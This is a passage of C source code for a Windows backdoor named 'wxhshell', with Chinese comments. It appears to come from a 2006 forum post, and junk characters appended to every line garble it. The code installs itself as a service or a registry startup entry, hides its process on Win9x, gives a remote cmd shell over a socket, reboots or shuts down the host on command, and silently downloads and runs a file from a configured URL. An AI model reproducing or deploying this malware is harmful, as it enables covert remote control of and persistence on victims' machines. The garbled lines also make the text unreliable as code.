      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V n*  
    break; xnmmXtk  
  } JHz [7  
  // 安装 pQshUm"_  
  case 'i': { S `#w+C#EW  
    if(Install()) -j73Wz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AWP"b?^G|  
    else ]|MEx{BG-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Xce9C0SW  
    break; ( M7pT  
    } x|mqL-Q f  
  // 卸载 <_3b1VhZ  
  case 'r': { POvP]G9'"  
    if(Uninstall()) Z8rvWH9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c lNkph  
    else R{ a"Y$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q^ pmQ  
    break; B[V+ND'(  
    } U<CTubF  
  // 显示 wxhshell 所在路径 rW+ =,L  
  case 'p': { H-~6Z",1  
    char svExeFile[MAX_PATH]; QA<Jr5Ys  
    strcpy(svExeFile,"\n\r"); XmEq2v  
      strcat(svExeFile,ExeFile); i%/Jp[e\W>  
        send(wsh,svExeFile,strlen(svExeFile),0); LG<J;&41~S  
    break; tS|(K=$  
    } fjU8gV  
  // 重启 $lLz 3YS  
  case 'b': { 'R c,Mq'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lEhk'/~  
    if(Boot(REBOOT)) R $&o*K`?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Eo?k<:zPm  
    else { Pb?$t  
    closesocket(wsh); oJ4 AIQjB  
    ExitThread(0); @&1ZB6OCb:  
    } u/M+u;  
    break; w,h`s.AN  
    } JKGc3j,+#  
  // 关机 !{^PO <9  
  case 'd': { huJ&]"C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jg.QRny^  
    if(Boot(SHUTDOWN)) ZaL.!g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B5X(ykaX~  
    else { .ox8*OO<  
    closesocket(wsh); ~y/ nlb!  
    ExitThread(0); CbwJd5tk  
    } m06ALD_  
    break; {buo^kgj`]  
    } @}@Z8$G^  
  // 获取shell }[ 4r4 1[  
  case 's': { ~g5[$r-u-u  
    CmdShell(wsh); 6"~P/\jP  
    closesocket(wsh); F;+|sMrq  
    ExitThread(0); ',:*f8Jk  
    break; `[W[H(AjQ  
  } P*I}yPeb  
  // 退出 EL(nDv  
  case 'x': {  \4v]7SV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XDFx.)t  
    CloseIt(wsh); ~zJ?H<>  
    break; Ib+Y~ XYR  
    } V+VkY3  
  // 离开 4<k9?)~(J  
  case 'q': { /+@p7FqlE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }Q=!Y>Tc  
    closesocket(wsh); dvt9u9Vg=  
    WSACleanup(); T`5bZu^c  
    exit(1); kzt(i Y_6  
    break; <})2#sZO!  
        } w-Da~[J  
  } v"#mzd.tW  
  } X22[tqg;&  
k +H3Bq  
  // 提示信息 (=* cK-3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R,pX:H&#+  
} TrLu~4  
  } U$_xUG  
~ xft  
  return; >D(RYI  
} +\F'iAs@  
A^)?Wt%*  
// shell模块句柄 bdQ_?S(  
int CmdShell(SOCKET sock) d` jjGEj  
{ qzf!l"bT  
STARTUPINFO si; 2T V X)q<\  
ZeroMemory(&si,sizeof(si)); m^GJuP LW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Si6al78  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L IZRoG8  
PROCESS_INFORMATION ProcessInfo; 1T-8K r  
char cmdline[]="cmd"; M#As0~y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ] :BX!<  
  return 0; sB c (gr  
} Q\ U:~g3  
iZaI_\"__  
// 自身启动模式 !f&Kf,#b`  
int StartFromService(void) :=wT vz  
{ }j*KcB_  
typedef struct r=X}%~_8X  
{ qoj$]   
  DWORD ExitStatus; S"OR%  
  DWORD PebBaseAddress; rdJ d#S  
  DWORD AffinityMask; XT@-$%u  
  DWORD BasePriority; Gu2P\I2zx  
  ULONG UniqueProcessId; & 8l%T'gd  
  ULONG InheritedFromUniqueProcessId; e S<lwA_  
}   PROCESS_BASIC_INFORMATION; @8;W\L$~1  
oAPb*;}  
PROCNTQSIP NtQueryInformationProcess; H\qC["  
YN!>}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FE2f'e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &Nczv"TM  
2\7`/,U6  
  HANDLE             hProcess; :k.NbN$i\  
  PROCESS_BASIC_INFORMATION pbi; PzA|t;*  
~~SwCXZ+b^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >i5acuth  
  if(NULL == hInst ) return 0; b0Kc^uj5  
m6',SY9T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^!9~Nwn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Cb9;QzBVA#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vfq%H(  
BPdfYu ,il  
  if (!NtQueryInformationProcess) return 0; o[cV1G  
Y0_),OaY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )FpZPdN+h  
  if(!hProcess) return 0; q.2ykL  
89wU-Aggq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *T~Ve;3h;  
ub;ZtsM,%  
  CloseHandle(hProcess); mw='dFt  
$ep.-I>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {|1Y:&M?   
if(hProcess==NULL) return 0; .8y3O]  
F@<CsgKB-  
HMODULE hMod; ad:&$  
char procName[255]; 49w=XJ  
unsigned long cbNeeded; KN7n@$8YM  
%oq[,h <X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *X, /7C   
@ ]/AjjLt  
  CloseHandle(hProcess); %Mk0QKzUo  
Zxbo^W[[  
if(strstr(procName,"services")) return 1; // 以服务启动 #1c_evH  
H Ge0hl[n  
  return 0; // 注册表启动 DM}YJ  
} 8[J}CdS  
/ig:9R  
// 主模块 []A%<EI7  
int StartWxhshell(LPSTR lpCmdLine) /k<WNZM  
{ C\di7z:  
  SOCKET wsl; !kE-_dY6)  
BOOL val=TRUE; ;ByOth|9P  
  int port=0; /6h(6 *JI  
  struct sockaddr_in door; hrhb!0  
Xt#4/>dlR  
  if(wscfg.ws_autoins) Install(); 9Iz%ht  
#_(jS+lP?k  
port=atoi(lpCmdLine); 5JLu2P  
#:^YI c  
if(port<=0) port=wscfg.ws_port; -$WYj "  
L30$%G|  
  WSADATA data; e}.^Tiwd]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k31I ysh  
^1L>l9F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ##EYH1P]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7 <Q5;J&;  
  door.sin_family = AF_INET; )I$q5%q8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w );6K[+;  
  door.sin_port = htons(port); * ;Cy=J+  
tc!wLnhG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m/qbRk68s  
closesocket(wsl); /Ne<V2AX  
return 1; W@Lu;g.Yc  
} ?HV`| Cw  
X_g 3rv1J  
  if(listen(wsl,2) == INVALID_SOCKET) { I= .z+#Y  
closesocket(wsl); 8G5m{XTS(  
return 1; hDp6YV,q  
} Vw&HVo  
  Wxhshell(wsl); 8WXJ.  
  WSACleanup(); yNqe8C,>e  
CBD6bl|A  
return 0; zBJ7(zh!  
ea 00\  
} zA!0l*H  
_dJ{j   
// 以NT服务方式启动 <1.A=_ M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K a(J52  
{ $LLA,?;!  
DWORD   status = 0; t6A:Z mG_  
  DWORD   specificError = 0xfffffff; 1s{^X -  
{nvLPUL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GKFq+]W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3RR_fmMT)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1[t=XDz/e  
  serviceStatus.dwWin32ExitCode     = 0; U=o"32n+  
  serviceStatus.dwServiceSpecificExitCode = 0; +5&wOgx  
  serviceStatus.dwCheckPoint       = 0; -M1YE  
  serviceStatus.dwWaitHint       = 0; P7x =  
H_ez'yy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,+ #6Y_  
  if (hServiceStatusHandle==0) return; o)[2@fRC(  
}oKG}wgY  
status = GetLastError(); 3t0[^cY8=z  
  if (status!=NO_ERROR) fz3 lV  
{ f~_th @K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y"6w,_'m  
    serviceStatus.dwCheckPoint       = 0; RNhJ'&SYs  
    serviceStatus.dwWaitHint       = 0; n9\]S7] 52  
    serviceStatus.dwWin32ExitCode     = status; W":PG68  
    serviceStatus.dwServiceSpecificExitCode = specificError; `St.+6^J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LT,?$I  
    return; j* *s^Sg  
  } vUnRi=:|  
!QT'L,_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2"d!(J6}K  
  serviceStatus.dwCheckPoint       = 0; u]ZqOJXxu  
  serviceStatus.dwWaitHint       = 0; KV*xApb9y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d)"?mD:m/M  
} ;9}pOzF1q  
5zIAhg@o:q  
// 处理NT服务事件,比如:启动、停止 ~(@ E`s&{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a!mf;m  
{ *\o/q[  
switch(fdwControl) bI y sl  
{ DtEwW1J  
case SERVICE_CONTROL_STOP: $L2%u8}8:  
  serviceStatus.dwWin32ExitCode = 0; nxJee=qH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o8Z[+;  
  serviceStatus.dwCheckPoint   = 0; B=@ jWz"  
  serviceStatus.dwWaitHint     = 0; MCP "GZK6W  
  { `W-&0|%Ta  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @YH+c G|  
  } nWvuaQ0}  
  return; V&|!RxWK  
case SERVICE_CONTROL_PAUSE: rJo"fx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P@]8pIB0d^  
  break; wCHR7X0*b  
case SERVICE_CONTROL_CONTINUE: 033T>qY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  N<L`c/  
  break; 2PR^:h2  
case SERVICE_CONTROL_INTERROGATE: ;=< ^0hxer  
  break; ~Gqno  
}; 5c;h &  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zv_jy@k  
} Z^9/v  
)C.yF)Ql  
// 标准应用程序主函数  P N*JR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4W#E`9 6u  
{ D)brPMS:o  
m"9XT)N  
// 获取操作系统版本 o|j*t7  
OsIsNt=GetOsVer(); IjfxR mV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $j 5,%\4<  
+]@Az.E  
  // 从命令行安装 lI/0:|l  
  if(strpbrk(lpCmdLine,"iI")) Install(); oQ7]= |  
M@thI%lR  
  // 下载执行文件 9F^;!  
if(wscfg.ws_downexe) { A`u$A9[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '&;69`FSe  
  WinExec(wscfg.ws_filenam,SW_HIDE); -[Qvg49jy  
} CVi`bO4\  
o_Si mJFK  
if(!OsIsNt) { 3[XQR8o  
// 如果时win9x,隐藏进程并且设置为注册表启动 #2:a[ ~Lf  
HideProc(); a? R[J==  
StartWxhshell(lpCmdLine); m4[g6pNx~  
} |fHB[ W#  
else GyC/_ntn  
  if(StartFromService()) pX=,iOF[I  
  // 以服务方式启动 Y?#i{ixX6n  
  StartServiceCtrlDispatcher(DispatchTable); [ "xn5l E  
else <fdPLw;@e4  
  // 普通方式启动 {$M;H+Foh  
  StartWxhshell(lpCmdLine); ? &zQa xD  
T#O??3/%$1  
return 0; jvVi%k  
}
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只看该作者 1 发表于: 2006-10-10
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